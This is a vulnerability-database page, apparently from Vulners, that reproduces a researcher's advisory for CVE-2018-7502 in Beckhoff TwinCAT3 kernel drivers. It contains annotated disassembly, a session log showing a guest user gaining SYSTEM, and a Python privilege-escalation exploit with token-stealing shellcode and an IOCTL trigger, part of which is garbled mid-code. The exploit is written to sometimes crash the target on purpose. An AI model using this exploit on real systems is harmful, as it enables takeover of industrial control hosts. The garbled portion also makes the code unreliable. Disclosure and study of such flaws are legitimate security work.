Lucene search
K

SRC-2018-0007 : Beckoff TwinCAT3 Multiple Kernel Drivers Untrusted Pointer Dereference Privilege Escalation Vulnerabilities

🗓️ 27 Sep 2017 00:00:00Reported by Steven Seeley (mr_me) of Source InciteType 
srcincite
 srcincite
🔗 srcincite.io👁 47 Views

Beckoff TwinCAT3 kernel drivers untrusted pointer dereference privilege escalation vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
CNVD
Beckhoff TwinCAT Untrusted Pointer Reference Vulnerability
26 Mar 201800:00
cnvd
CVE
CVE-2018-7502
23 Mar 201817:00
cve
Cvelist
CVE-2018-7502
23 Mar 201817:00
cvelist
EUVD
EUVD-2018-19231
7 Oct 202500:30
euvd
ICS
Beckhoff TwinCAT
22 Mar 201800:00
ics
NVD
CVE-2018-7502
23 Mar 201817:29
nvd
Tenable Nessus
Beckhoff Twincat Improper Input Validation
27 May 202000:00
nessus
Tenable Nessus
Beckhoff TwinCAT Untrusted Pointer Dereference (CVE-2018-7502)
7 Feb 202200:00
nessus
Prion
Null pointer dereference
23 Mar 201817:29
prion
"""
Beckoff TwinCAT3 Multiple Kernel Drivers Untrusted Pointer Dereference Privilege Escalation Vulnerabilities
Download: http://www.beckhoff.com/forms/twincat3/warenkorb.aspx?lg=en&title=TC31-Full-Setup.3.1.4022.2&version=3.1.4022.2
Affected Version: 3.1.4022.2
CVE: CVE-2018-7502
File: TC31-Full-Setup.3.1.4022.2.zip
SHA1: 29121120bf72cbee1298d7903921db93cfad6fb9

Summary:
========

This vulnerability allows local attackers to escalate privileges on vulnerable installations of Beckoff TwinCAT3. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the processing of IOCTL 0x00222206 by the 19 different kernel drivers. The issue results from the lack of proper validation of a user-supplied value prior to dereferencing it as a pointer. An attacker can leverage this vulnerability to escalate privilege to the level of SYSTEM.

Notes:
======

- This poc a sample exploit for Windows 7 sp1 x86. It will not work on any other platform without modification.
- Further exploitation can be done on Windows10 to bypass smep. We have a pointer to controlled data in edx which can be used to pivot the stack to disable smep.
- This poc will sometimes crash the target, I designed it like that on purpose, for fun :->
- This poc is for 19 vulnerabilities:

    - TcAnalytics.sys
    - TcCnc.sys
    - TcIoBACnetR9.sys
    - TcIoCCat.sys
    - TcIoDrivers.sys
    - TcIoECat.sys
    - TcIoECatSimu.sys
    - TcIoESlv.sys
    - TcIoEth.sys
    - TcIoEthIp.sys
    - TcIoPNet.sys
    - TcIotDrivers.sys
    - TcNcObjects.sys 
    - TcPlc30.sys
    - TcRouter.sys
    - TcRtsObjects.sys
    - TcIo.sys
    - TcNc.sys
    - TcRTime.sys

Static Analysis:
================

1. I'm only going to show the vulnerable code for TcAnalytics.sys, because this is **almost** mirrored code for the other 15 drivers:

- TcCnc.sys
- TcIoBACnetR9.sys
- TcIoCCat.sys
- TcIoDrivers.sys
- TcIoECat.sys
- TcIoECatSimu.sys
- TcIoESlv.sys
- TcIoEth.sys
- TcIoEthIp.sys
- TcIoPNet.sys
- TcIotDrivers.sys
- TcNcObjects.sys
- TcPlc30.sys
- TcRouter.sys
- TcRtsObjects.sys

When reaching the switch statement for the ioctl 0x00222206, we reach the following code block

.text:00054F5A loc_54F5A:                                   ; CODE XREF: sub_54F30+23
.text:00054F5A                                              ; DATA XREF: .text:off_55020
.text:00054F5A                 mov     ecx, [ebx+10h]       ; jumptable 00054F53 case 2236934
.text:00054F5D                 mov     eax, [edi+4]         ; edi is a pointer to our input buffer
.text:00054F60                 mov     edx, [ecx]
.text:00054F62                 mov     eax, [eax]           ; we get the first dword...
.text:00054F64                 push    eax                  ; ...and place it as an argument to sub_54280
.text:00054F65                 mov     eax, [edx+24h]       ; get the sub_54280 function
.text:00054F68                 call    eax                  ; calls sub_54280

In sub_54280, we find several untrusted pointer vulnerabilities, however, this report will just address one.

.text:00054280 sub_54280       proc near                    ; DATA XREF: .rdata:0005CCDC
.text:00054280                                              ; .rdata:0005CD78
.text:00054280
.text:00054280 var_28          = byte ptr -28h
.text:00054280 var_18          = dword ptr -18h
.text:00054280 var_14          = dword ptr -14h
.text:00054280 var_10          = dword ptr -10h
.text:00054280 var_C           = dword ptr -0Ch
.text:00054280 var_8           = dword ptr -8
.text:00054280 var_4           = dword ptr -4
.text:00054280 arg_0           = dword ptr  8
.text:00054280
.text:00054280                 push    ebp
.text:00054281                 mov     ebp, esp
.text:00054283                 mov     edx, [ebp+arg_0]     ; this value is under our control and is a fake struct
.text:00054286                 sub     esp, 28h
.text:00054289                 mov     eax, [edx+8]         ; set a pointer @ +8
.text:0005428C                 push    ebx
.text:0005428D                 push    esi
.text:0005428E                 push    edi
.text:0005428F                 push    0BF0Bh
.text:00054294                 push    eax                  ; push our controlled pointer to the stack
.text:00054295                 mov     eax, [edx+2Ch]       ; set a fake function pointer
.text:00054298                 mov     ebx, ecx
.text:0005429A                 call    eax                  ; eop via an indirect call

2. I'm only going to show the vulnerable code for TcIo.sys, because this is **almost** mirrored code for the other 2 drivers: 

- TcNc.sys
- TcRTime.sys

When reaching the switch statement for the ioctl 0x00222206, we eventually reach the following code block in sub_5E510

.text:0005E55B loc_5E55B:                                   ; CODE XREF: sub_5E510+45
.text:0005E55B                 mov     ecx, [esi+4Ch]       ; @esi is our source buffer
.text:0005E55E                 lea     eax, [ebp+var_34]
.text:0005E561                 push    eax
.text:0005E562                 mov     eax, [ecx+8]
.text:0005E565                 push    eax
.text:0005E566                 mov     eax, [ecx+14h]       ; get the function pointer
.text:0005E569                 call    eax                  ; eop via an indirect call

Thats a total of 19 vulnerable drivers within a single installation package.

Example:
========

c:\Users\Guest\Desktop>whoami
debugee\guest

c:\Users\Guest\Desktop>poc.py
[+] Beckoff TwinCAT3 <= 3.1
[+] TcPlc30.sys Untrusted Pointer Dereference EoP vulnerability
[+] Steven Seeley (mr_me) of Source Incite
[+] allocating input buffer
[+] allocating output buffer
[+] sending ioctl
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

c:\Users\Guest\Desktop>whoami
nt authority\system

c:\Users\Guest\Desktop>
"""

import struct
from os import system
from sys import exit
from ctypes import *
from random import choice
from platform import release, architecture

kernel32 = windll.kernel32
ntdll = windll.ntdll
 
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
STATUS_SUCCESS = 0
 
def alloc(base, input_size, type):
    print "[+] allocating %s buffer" % type
    baseadd   = c_int(base)
    size = c_int(input_size)
    input  = struct.pack("|
    input += "\x8b\x90\xf8\x00\x00\x00"  # mov edx, [eax + TOKEN_OFFSET]
    input += "\x89\x91\xf8\x00\x00\x00"  # mov [ecx + TOKEN_OFFSET], edx

    # --[ recover]
    input += "\x61"                      # popad

    # This is so we can take the jump at .text:000542A0 (jz loc_5456B)
    input += "\x31\xc0"                  # xor eax, eax -> STATUS_SUCCESS
    input += "\xc2\x08\x00\x00"          # ret 0x8

    input += "\xcc" * (input_size-len(input))
    ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, 
                                              POINTER(c_int), c_int, c_int]
    dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0, 
                                             byref(size), 
                                             MEM_RESERVE|MEM_COMMIT,
                                             PAGE_EXECUTE_READWRITE)
    if dwStatus != STATUS_SUCCESS:
        print "[-] error while allocating memory: %s" % hex(dwStatus + 0xffffffff)
        exit()
    written = c_ulong()
    write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written))
    if write == 0:
        print "[-] error while writing our %s buffer memory: %s" % (type, write)
        exit()

def get_device_name():
    """
    really, its like playing russian roulette
    """
    return choice([
        "TcAnalytics",
        "TcCnc",
        "TcIoBACnetR9",
        "TcIoCCat",
        "TcIoDrivers",
        "TcIoECat",
        "TcIoECatSimu",
        "TcIoESlv",
        "TcIoEth",
        "TcIoEthIp",
        "TcIoPNet",
        "TcIotDrivers",
        "TcNcObjects",
        "TcPlc30",
        "TcRouter",
        "TcRtsObjects",

        # these last 3 will dos the system :->
        # feel free to write the exploits for them, I got lazy.
        "TcIo",
        "TcNc",
        "TcRTime"
    ])

if __name__ == '__main__':
    print "[+] Beckoff TwinCAT3 <= 3.1"
    device = get_device_name()
    print "[+] %s.sys Driver Untrusted Pointer Dereference EoP vulnerability" % device
    print "[+] Steven Seeley (mr_me) of Source Incite"
    
    if release() != "7" or architecture()[0] != "32bit":
        print "(-) although this exploit may work on this system,"
        print "    it was only designed for Windows 7 x86."
        sys.exit(-1)

    GENERIC_READ  = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    IOCTL_VULN    = 0x00222206
    DEVICE_NAME   = "\\\\.\\%s" % device
    dwReturn      = c_ulong()
    driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
    inputbuffer   = 0x41414141
    inputbuffer_size  = 0x1000
    outputbuffer_size = 0x1000
    outputbuffer      = 0x20000000
    alloc(inputbuffer, inputbuffer_size, "input")
    alloc(outputbuffer, outputbuffer_size, "output") 
    IoStatusBlock = c_ulong()
    if driver_handle:
        print "[+] sending ioctl"
        dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle,
                                       None,
                                       None,
                                       None,
                                       byref(IoStatusBlock),
                                       IOCTL_VULN,
                                       inputbuffer,
                                       inputbuffer_size,
                                       outputbuffer,
                                       outputbuffer_size)
        system("cmd.exe")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Mar 2018 00:00Current
7.6High risk
Vulners AI Score7.6
CVSS 27.2
CVSS 37.8
EPSS0.00172
47